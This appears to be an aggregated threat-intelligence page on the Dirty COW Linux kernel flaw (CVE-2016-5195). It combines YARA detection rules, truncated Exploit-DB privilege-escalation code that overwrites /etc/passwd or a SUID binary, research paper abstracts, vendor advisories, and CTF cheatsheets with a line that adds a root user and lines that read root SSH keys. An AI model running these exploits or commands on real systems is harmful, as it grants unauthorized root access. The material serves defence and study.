scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { FF FF 88 45 F7 80 7D F7 FF 75 D6 B8 ?? ?? 04 08 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_b2ebdebd
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_b2ebdebd
rule Linux_Exploit_CVE_2016_5195_b2ebdebd {
meta:
author = "Elastic Security"
id = "b2ebdebd-0110-46b4-a97f-27c4c495b23d"
fingerprint = "2a98a2d1be205145eb2d30a57aaa547b30281b31981f0872ba3f7e1d684a0cc2"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "dee49d4b7f406fd1728dad4dc217484ced2586e014e2cd265ea64eff70a2633d"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F8 BE 02 00 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_3b460716
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_3b460716
rule Linux_Exploit_CVE_2016_5195_3b460716 {
meta:
author = "Elastic Security"
id = "3b460716-812e-4884-ab66-e01f2e61996d"
fingerprint = "900e22d1a157677698a47d49d2deeb52c938e3a790aba689b920ba1bbd7ed39d"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "8c4d49d4881ebdab1bd0e083d4e644cfc8eb7af3b96664598526ab3d175fc420"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 E8 BE 02 00 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_ea8801ac
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_ea8801ac
rule Linux_Exploit_CVE_2016_5195_ea8801ac {
meta:
author = "Elastic Security"
id = "ea8801ac-ee95-4294-9cfa-99c773a04183"
fingerprint = "aa191347bdf2e9fdcf6f9591c370b85208a1c46a329bc648268447dbb5ea898f"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "7acccfd8c2e5555a3e3bf979ad2314c12a939c1ef32b66e61e30a712f07164fd"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 55 48 89 E5 48 83 EC 30 89 7D DC 48 89 75 D0 83 7D DC 02 7F 0A B8 01 00 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_9c67a994
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_9c67a994
rule Linux_Exploit_CVE_2016_5195_9c67a994 {
meta:
author = "Elastic Security"
id = "9c67a994-dabf-4cb7-95d7-4cc47402be28"
fingerprint = "fc6690eef99dd9f84f62444d7a7e1b52dc7f46e831a5ab3e87d4282bba979fde"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "70429d67402a43ed801e295b1ae1757e4fccd5d786c09ee054591ae51dfc1b25"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E ?? 8B }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_fb24c7e4
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_fb24c7e4
rule Linux_Exploit_CVE_2016_5195_fb24c7e4 {
meta:
author = "Elastic Security"
id = "fb24c7e4-db4f-405e-8e88-bc313b9a0358"
fingerprint = "0a5f15ddb425a6e00f6c3964b4dbdc91a856fd06b6e45dfd4fded8ed97f21ae8"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E ?? 8B 45 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_364f3b7b
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_364f3b7b
rule Linux_Exploit_CVE_2016_5195_364f3b7b {
meta:
author = "Elastic Security"
id = "364f3b7b-4361-44ca-bf49-e26c123ae4bd"
fingerprint = "ec6cf1d090cd57434c4d3c1c3511fd4b683ff109bfd0ce859552d58cbb83984a"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "0d4c43bf0cdd6486a4bcab988517e58b8c15d276f41600e596ecc28b0b728e69"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 F8 48 8B 45 F8 48 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_ccfd7518
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_ccfd7518
rule Linux_Exploit_CVE_2016_5195_ccfd7518 {
meta:
author = "Elastic Security"
id = "ccfd7518-af6c-4378-bd9c-7267a7f0dab4"
fingerprint = "4797064d6416f2799691ae7df956d0383dfe6094de29fb03fc8233ad89149942"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "b1017db71cf195aa565c57fed91ff1cdfcce344dc76526256d5817018f1351bf"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 83 45 FC 01 81 7D FC FF E0 F5 05 7F 0A 8B 05 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_3a2ed31b
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_3a2ed31b
rule Linux_Exploit_CVE_2016_5195_3a2ed31b {
meta:
author = "Elastic Security"
id = "3a2ed31b-a8be-4aff-af5e-e1ff2676f3f9"
fingerprint = "0e8e0f58deadf4838464c2f2bc860013e6d47c3d770d0ef743b5dd9021832cae"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "ebbf3bc39ec661e2029d88960a5608e348de92089099019348bc0e891841690f"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 55 48 89 E5 48 83 EC 30 48 89 7D D8 48 8B 45 D8 48 89 45 F0 BE 02 00 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_2fa988e3
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_2fa988e3
rule Linux_Exploit_CVE_2016_5195_2fa988e3 {
meta:
author = "Elastic Security"
id = "2fa988e3-dfaf-44c8-bfaa-889778858e22"
fingerprint = "a841f4b929c79eadfa8deeb3a6f410056aec94dd1e0d9c8e5dc31675de936403"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "679392e78d4abefc05b885e43aaccc2da235bd7f2a267c6ecfbe2cf824776993"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 55 48 89 E5 48 83 EC 20 89 7D EC 89 75 E8 8B 45 E8 48 C1 E0 05 48 }
condition:
all of them
}
Exploit-DB
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
exploitdb·2016-11-28
CVE-2016-5195 Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
Linux Kernel 2.6.22
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id
Exploit-DB
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)
exploitdb·2016-11-27
CVE-2016-5195 Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)
Linux Kernel 2.6.22 /proc/sys/vm/dirty_writeback_centisecs")
//
// -----------------------------------------------------------------
// Copyright (C) 2016 Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Soft
Exploit-DB
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)
exploitdb·2016-10-26
CVE-2016-5195 Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)
Linux Kernel 2.6.22 //// pikachu
#include //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include //// pokeball
#include //// (___)
#include //// (o o)_____/
#include //// @@ ` \
#include //// \ ____, /miltank
#include //// // //
#include //// ^^ ^^
#include //// mmap bc757000
#include //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f ;// file descriptor
void *map ;// memory map
pid_t pid ;// process id
pthread_t pth ;// thread
struct stat st ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg) {// madvise thread
int i,c=0 ;// counters
for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
c+=madvise(map,100,MADV_D
Exploit-DB
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)
exploitdb·2016-10-21
CVE-2016-5195 Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)
Linux Kernel 2.6.22 /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
#include
#include
#include
#include
#include
#include
#include
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD
Exploit-DB
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)
exploitdb·2016-10-19
CVE-2016-5195 Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)
Linux Kernel 2.6.22 foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include
#include
#include
#include
#include
#include
#include
#include
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg
arXiv
APThreatHunter: An automated planning-based threat hunting framework
arxiv_fulltext·2025-12-27
APThreatHunter: An automated planning-based threat hunting framework
## Abstract
Cyber attacks threaten economic interests, critical infrastructure, and public health and safety. To counter this, entities adopt cyber threat hunting, a proactive approach that involves formulating hypotheses and searching for attack patterns within organisational networks.
Automating cyber threat hunting presents challenges, particularly in generating hypotheses, as it is a manually created and confirmed process, making it time-consuming.
To address these challenges, we introduce , an automated threat hunting solution that generates hypotheses which eliminates the analyst bias. This is done by using automated planning to generate a set of possible risks based on the system's current state and how such threats can be preformed.
We evaluated using real-world android malware
arXiv
BEACON: Automatic Container Policy Generation using Environment-aware Dynamic Analysis
arxiv_fulltext·2025-11-29
BEACON: Automatic Container Policy Generation using Environment-aware Dynamic Analysis
=1em
1
.001
: Automatic Container Policy Generation using Environment-aware Dynamic Analysis
Kang et al.
[mode = title]: Automatic Container Policy Generation using Environment-aware Dynamic Analysis
[1]
[1]This is the accepted manuscript of an article accepted for publication in Computers & Security.
[1]Haney Kang[orcid=0000-0003-0866-0938]
[email protected]
[1]
[3]Eduard Marin[orcid=0000-0002-5002-0187]
[email protected]
[1]
[2]Myoungsung You[orcid=0000-0001-5822-5243]
[email protected]
[3]Diego Perino
[email protected]
[1]Seungwon Shin[orcid=0000-0002-1077-5606]
[email protected]
[4]Jinwoo Kim[orcid=0000-0003-1303-8668]
[email protected]
[1]
[fn1]Co-first authors
[cor1]Corresponding author
[1]
organization=School of Electrical Engineering, KAIST,
a
arXiv
Real-World Usability of Vulnerability Proof-of-Concepts: A Comprehensive Study
arxiv_fulltext·2025-10-21
Real-World Usability of Vulnerability Proof-of-Concepts: A Comprehensive Study
Real-World Usability of Vulnerability Proof-of-Concepts: A Comprehensive Study
Wenjing Dang, Kaixuan Li, Member, IEEE, Sen Chen, Member, IEEE, Zhenwei Zhuo, \ Zhang, Member, IEEE, and Zheli Liu, Member, IEEE
Wenjing Dang and Kaixuan Li contributed equally to this work.
Wenjing Dang and Zhenwei Zhuo are with the College of Intelligence and Computing, Tianjin University, China. Kaixuan Li and Lyuye Zhang are with the Nanyang Technological University, Singapore. Sen Chen (Corresponding author) and Zheli Liu are with the Nankai University, China. (email: [email protected]; [email protected]; [email protected]; [email protected]; [email protected]; [email protected])
## Abstract
The Proof-of-Concept (PoC) for a vulnerability is crucial in validating its existence, m
arXiv
Comparing Security and Efficiency of WebAssembly and Linux Containers in Kubernetes Cloud Computing
arxiv_fulltext·2024-11-02
Comparing Security and Efficiency of WebAssembly and Linux Containers in Kubernetes Cloud Computing
minipage
*Zusammenfassung
In dieser Studie wird das Potenzial von WebAssembly als sicherere und effizientere Alternative zu Linux-Containern für die Ausführung von nicht vertrauenswürdigem Code im Cloud-Computing mit Kubernetes untersucht.
Insbesondere werden die Auswirkungen dieses Wechsels auf Sicherheit und Leistung bewertet.
Sicherheitsanalysen zeigen, dass sowohl Linux-Container als auch WebAssembly bei der Ausführung von nicht vertrauenswürdigem Code Angriffsflächen bieten, wobei diese Angriffsfläche bei WebAssembly aufgrund einer zusätzlichen Isolierungsschicht geringer ausfällt.
Die Leistungsanalyse zeigt außerdem, dass WebAssembly ineffizientere Ausführung als nativer Code bedingt und hohe Kaltstartzeiten hat, die bei lang laufenden Berechnungen vernachlässigbar sein könnten.
We
arXiv
Beyond Control: Exploring Novel File System Objects for Data-Only Attacks on Linux Systems
arxiv_fulltext·2024-09-07
Beyond Control: Exploring Novel File System Objects for Data-Only Attacks on Linux Systems
Beyond Control: Exploring Novel File System Objects for Data-Only Attacks on Linux Systems
Jinmeng Zhou, Jiayi Hu, Ziyue Pan, Jiaxun Zhu, Wenbo Shen, Guoren Li, Zhiyun Qian
Jinmeng Zhou, Jiayi Hu, Ziyue Pan, Jiaxun Zhu and Wenbo Shen are with the College of Computer Science and Technology at Zhejiang University, Hangzhou, Zhejiang, 310027, China.
Email: \jinmengzhou, hujiayi, ziyuepan, sevenswords, shenwenbo\@zju.edu.cn;
Guoren Li and Zhiyun Qian are with the Department of Computer Science and Engineering, University of California, Riverside 92521, USA.
Email: [email protected] and [email protected];
Wenbo Shen is the corresponding author.
IEEE TRANSACTIONS ON INFORMATION FORENSICS AND SECURITY, VOL. XX, 20XX
Shell et al.: A Sample Article Using IEEEtran.cls for IEEE Journals
## Abstra
arXiv
Understanding Concurrency Vulnerabilities in Linux Kernel
arxiv_fulltext·2022-12-11
Understanding Concurrency Vulnerabilities in Linux Kernel
Understanding Concurrency Vulnerabilities in Linux Kernel
Zunchen Huang
University of Southern California
Los Angeles, CA
USA
Shengjian Guo
Baidu Security
Sunnyvale, CA
USA
Meng Wu
Virginia Tech
Blacksburg, VA
USA
Chao Wang
University of Southern California
Los Angeles, CA
USA
## Abstract
While there is a large body of work on analyzing concurrency related
software bugs and developing techniques for detecting and patching
them, little attention has been given to concurrency related security
vulnerabilities. The two are different in that not all bugs are
vulnerabilities: for a bug to be exploitable, there needs be a way for
attackers to trigger its execution and cause damage, e.g., by
revealing sensitive data or running malicious code.
To fill the gap, we conduct the first empiri
arXiv
Timeloops: Automatic System Call Policy Learning for Containerized Microservices
arxiv_fulltext·2022-09-26
Timeloops: Automatic System Call Policy Learning for Containerized Microservices
Meghna Pancholi
[email protected]
Columbia University
Andreas D. Kellas
[email protected]
Columbia University
Vasileios P. Kemerlis
[email protected]
Brown University
Simha Sethumadhavan
[email protected]
Columbia University
## Abstract
We introduce , a novel technique for automatically learning system
call filtering policies for containerized microservices applications. At
run-time, automatically learns which system calls a program should
be allowed to invoke, while rejecting attempts to call spurious system calls.
Further, addresses many of the shortcomings of state-of-the-art
static analysis-based techniques, such as the ability to generate tight filters
for programs written in interpreted languages such as PHP, Python, and
JavaScript. has a simple and rob
arXiv
Threat Modeling and Security Analysis of Containers: A Survey
arxiv_fulltext·2021-11-22
Threat Modeling and Security Analysis of Containers: A Survey
Threat Modeling and Security Analysis of Containers: A Survey
Ann Yi Wong1 Eyasu Getahun Chekole1 Mart\'in Ochoa2 Jianying Zhou1
Singapore University of Technology and Design, Singapore 487372, Singapore
[email protected], \eyasu_chekole, jianying_zhou\@sutd.edu.sg
Department of Computer Science, ETH Zurich, 8092 Zurich, Switzerland
[email protected]
## Abstract
Traditionally, applications that are used in large and small enterprises were deployed on ``bare metal'' servers installed with operating systems. Recently, the use of multiple virtual machines (VMs) on the same physical server was adopted due to cost reduction and flexibility. Nowadays, containers have become popular for application deployment due to smaller footprints than the VMs, their ability to start
arXiv
Provenance-based Intrusion Detection: Opportunities and Challenges
arxiv_fulltext·2018-06-04
Provenance-based Intrusion Detection: Opportunities and Challenges
Provenance-based Intrusion Detection: Opportunities and Challenges
Xueyuan Han
Harvard University
Thomas Pasquier
0000-0001-6876-1306
University of Cambridge
Margo Seltzer
Harvard University
Han et al.
Fig.
Table
* Listing
## Abstract
Intrusion detection is an arms race;
attackers evade intrusion detection systems by developing new attack vectors to sidestep known defense mechanisms.
Provenance provides a detailed, structured history of the interactions of digital objects within a system.
It is ideal for intrusion detection, because it offers a holistic, attack-vector-agnostic view of system execution.
As such,
provenance graph analysis fundamentally strengthens detection robustness.
We discuss the opportunities and challenges associated with provenance-based intrusion detection
an
CTF
cheatsheets / privesc-linux
ctf_writeups
cheatsheets / privesc-linux
---
layout: default
title: "Linux Privesc"
parent: Cheatsheets
grand_parent: Resources
nav_order: 3
permalink: /resources/cheatsheets/privesc-linux/
---
# Linux Privilege Escalation Cheatsheet
Common privesc vectors encountered in HTB machines.
## Quick Wins
```bash
# 1. Sudo misconfiguration
sudo -l
# Check GTFOBins for any allowed binary
# 2. SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Check GTFOBins for any unusual SUID binary
# 3. Writable /etc/passwd
ls -la /etc/passwd
# If writable, add a root user:
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
# 4. Readable /etc/shadow
ls -la /etc/shadow
# Copy hashes, crack with hashcat/john
# 5. SSH keys
cat /root/.ssh/id_rsa
cat /home/*/.ssh/id_rsa
find / -name "id_rsa" 2>/dev/null
```
CTF
methodology / privilege-escalation-checklist
ctf_writeups
methodology / privilege-escalation-checklist
# Privilege Escalation Checklist
## Overview
After gaining initial access (via web exploit, credential theft, or shell), privilege escalation is the next goal. This checklist covers web application privilege escalation, Linux privesc, Windows privesc, and cloud/AWS escalation.
---
## Web Application Privilege Escalation
### Horizontal escalation (same role → different user)
- [ ] IDOR on user-specific endpoints (`/api/users/{id}`)
- [ ] Swap session tokens/cookies between accounts
- [ ] Modify `user_id`, `email`, or `account_id` in requests
- [ ] Test GraphQL queries with different user identifiers
- [ ] Check WebSocket messages for user-specific data
### Vertical escalation (low role → admin)
- [ ] Mass assignment: add `role=admin`, `is_admin=true`, `is_staff=1` to POST/PUT requests
CTF
README
ctf_writeups·CVSS 9.8
[CRITICAL] README
# Boot to root CTFs
Walkthroughs and notes of 'boot to root' CTFs mostly from VulnHub that I did for fun. I like to use vulnerable VMs from VulnHub (in addition to the ones I create) to organize hands-on penetration testing training sessions for junior security auditors/consultants :-)
### >> Classic pentest methodology to do a Boot2root CTF upload a Webshell)
➤ Clear-text passwords stored in 'public' website pages, configuration files, log files
➤ ...
2. Exploiting unpatched known vulnerabilities
➤ Web server (e.g. Apache Struts RCE: CVE-2017-12611/CVE-2017-9805/CVE-2017-9791, JBoss Java Deserialization RCE)
➤ Bash & web server CGI (e.g. Shellshock RCE CVE-2014-6271/CVE-2014-7169)
➤ Web CMS (e.g. Drupalgeddon2 RCE CVE-2018-7600)
➤ Web framework (e.g. PHP CGI RCE CVE-2012-1823)
➤ FTP s
Tenable
Fragnesia (CVE-2026-46300): Frequently asked questions about new Linux Kernel XFRM ESP-in-TCP privilege escalation
blogs_tenable·2026-05-14
CVE-2026-46300 Fragnesia (CVE-2026-46300): Frequently asked questions about new Linux Kernel XFRM ESP-in-TCP privilege escalation
## Exposure Management
## Explore By Use Case
## Explore By Industry
## Tenable is the one clear leader in Exposure Management
## Exposure management
resource center
## Accelerate your exposure management strategy with practical resources and tools.
## Explore By Use Case
## Explore By Industry
## Tenable is the one clear leader in Exposure Management
## Exposure management
resource center
## Accelerate your exposure management strategy with practical resources and tools.
## Fragnesia (CVE-2026-46300): Frequently asked questions about new Linux Kernel XFRM ESP-in-TCP privilege escalation
A new Linux kernel local privilege escalation exploit with a public proof-of-concept targets the same subsystem as Dirty Frag but requires a separate patch.
## Key Takeaways
CVE
Sans Isc
Another Universal Linux Local Privilege Escalation (LPE) Vulnerability: Dirty Frag, (Fri, May 8th)
blogs_sans_isc·2026-05-08·CVSS 7.8
CVE-2026-31431 [HIGH] Another Universal Linux Local Privilege Escalation (LPE) Vulnerability: Dirty Frag, (Fri, May 8th)
Another Universal Linux Local Privilege Escalation (LPE) Vulnerability: Dirty Frag
Published: 2026-05-08. Last Updated: 2026-05-08 14:57:03 UTC
by Yee Ching Tok (Version: 1)
0 comment(s)
Less than two weeks after the public disclosure of the Copy Fail vulnerability (CVE-2026-31431), another local privilege escalation (LPE) vulnerability in the Linux kernel has been revealed. Referred to as "Dirty Frag," this vulnerability was discovered and reported by Hyunwoo Kim (@v4bel) [1]. In this diary, I will provide a brief background on Dirty Frag, and discuss its relationship to Copy Fail. I will then discuss how to mitigate Dirty Frag and outline recommended next steps for system owners.
The existence of Dirty Frag was revealed after the coordinated disclosure embargo was broken by an unrela
Tenable
Dirty Frag (CVE-2026-43284, CVE-2026-43500): Frequently asked questions about this Linux kernel privilege escalation vulnerability chain
blogs_tenable·2026-05-08·CVSS 7.8
CVE-2026-43284 [HIGH] Dirty Frag (CVE-2026-43284, CVE-2026-43500): Frequently asked questions about this Linux kernel privilege escalation vulnerability chain
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability
blogs_tenable·2026-04-30
CVE-2026-31431 Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Wiz
What is Container Escape: Detection & Prevention | Wiz
blogs_wiz·2025-11-06
What is Container Escape: Detection & Prevention | Wiz
## What is container escape?
Container escape is when an attacker breaks out of a container's isolation boundaries to gain unauthorized access to the host operating system or other containers running on the same system. This happens because containers share the host kernel, unlike virtual machines that provide hardware-level isolation.
When isolation mechanisms like namespaces and cgroups get compromised through vulnerabilities or misconfigurations, attackers can escalate privileges and move laterally through your environment. A successful container escape is one of the most severe threats in containerized environments because it can compromise your entire infrastructure.
###### Container Security Best Practices Cheat Sheet
Understanding container escape is just the first step. Get pra
Wiz
What is Container Escape: Detection & Prevention | Wiz
blogs_wiz·2025-11-06
What is Container Escape: Detection & Prevention | Wiz
## What is container escape?
Container escape is when an attacker breaks out of a container's isolation boundaries to gain unauthorized access to the host operating system or other containers running on the same system. This happens because containers share the host kernel, unlike virtual machines that provide hardware-level isolation.
When isolation mechanisms like namespaces and cgroups get compromised through vulnerabilities or misconfigurations, attackers can escalate privileges and move laterally through your environment. A successful container escape is one of the most severe threats in containerized environments because it can compromise your entire infrastructure.
## Container Security Best Practices Cheat Sheet
Understanding container escape is just the first step. Get practic
Unit42
The Covert Operator's Playbook: Infiltration of Global Telecom Networks
blogs_unit42·2025-07-29
The Covert Operator's Playbook: Infiltration of Global Telecom Networks
## Executive Summary
Unit 42 has observed multiple incidents targeting the telecommunications industry in Southwest Asia. We are currently tracking this activity as CL-STA-0969. This activity includes attacking and leveraging interconnected mobile roaming networks. This report provides a technical analysis of the activity cluster based on our incident response engagements including observed tactics, techniques and procedures (TTPs).
We found no clear evidence of data collection or exfiltration from the investigated systems and networks, nor any attempts to track or communicate with target devices within mobile networks. However, the threat actor behind CL-STA-0969 maintained high operational security (OPSEC) and employed various defense evasion techniques to avoid detection.
The actors
Unit42
The Covert Operator's Playbook: Infiltration of Global Telecom Networks
blogs_unit42·2025-07-29
The Covert Operator's Playbook: Infiltration of Global Telecom Networks
## The Covert Operator's Playbook: Infiltration of Global Telecom Networks
Renzon Cruz
Nicolas Bareil
Navin Thomas
Published: July 29, 2025
Malware
Threat Actor Groups
Threat Research
Vulnerabilities
Advanced Persistent Threat
Backdoor
CL-STA-0969
GALLIUM
GoLang
Liminal Panda
PingPull
Telecoms
UNC1945
UNC2891
UNC3886
## Executive Summary
Unit 42 has observed multiple incidents targeting the telecommunications industry in Southwest Asia. We are currently tracking this activity as CL-STA-0969 . This activity includes attacking and leveraging interconnected mobile roaming networks. This report provides a technical analysis of the activity cluster based on our incident response engagements including observed tactics, techniques and procedures (TTPs).
We found no clear
Trendmicro
Earth Krahang Exploits Intergovernmental Trust to Launch Cross-Government Attacks
blogs_trendmicro·2024-03-18
Earth Krahang Exploits Intergovernmental Trust to Launch Cross-Government Attacks
APT & Targeted Attacks
# Earth Krahang Exploits Intergovernmental Trust to Launch Cross-Government Attacks
Since early 2022, we have been monitoring an APT campaign that targets several government entities worldwide, with a strong focus in Southeast Asia, but also seen targeting Europe, America, and Africa.
By: Joseph C Chen, Daniel Lunghi
2024/03/18
Read time: ( words)
Save to Folio
## Introduction
Since early 2022, we have been monitoring an APT campaign that targets several government entities worldwide, with a strong focus in Southeast Asia, but also seen targeting Europe, America, and Africa. The threat actor exploits public-facing servers and sends spear phishing emails to deliver previously unseen backdoors.
Our research allowed us to identify the campaign’s multiple connect
Securelist
Mobile malware evolution 2019
blogs_securelist·2020-02-25
Mobile malware evolution 2019
Table of Contents
Figures of the year
